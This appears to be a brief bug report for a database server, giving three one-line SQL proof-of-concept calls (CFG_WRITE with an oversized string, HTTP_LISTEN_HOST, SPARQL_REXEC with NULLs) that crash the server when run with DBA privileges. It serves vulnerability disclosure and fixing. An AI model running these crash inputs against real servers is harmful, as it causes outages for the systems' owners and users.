Some DBA functions can cause the server to crash. These statements may be of very low severity because their execution requires DBA privileges and a normal user cannot execute them.

PoC 1:
```sql
SELECT CFG_WRITE('1', '1', REPEAT('1', 262144), '1');
```

PoC 2:
```sql
SELECT HTTP_LISTEN_HOST('1', 0.9999999999999, '1');
```

PoC 3:
```sql
SELECT SPARQL_REXEC(NULL, NULL, NULL, 'NULL', NULL, NULL, NULL);
```
